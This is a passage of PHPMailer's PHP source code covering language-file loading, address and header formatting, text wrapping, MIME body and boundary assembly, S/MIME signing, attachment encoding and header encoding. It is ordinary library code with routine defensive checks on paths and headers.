            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
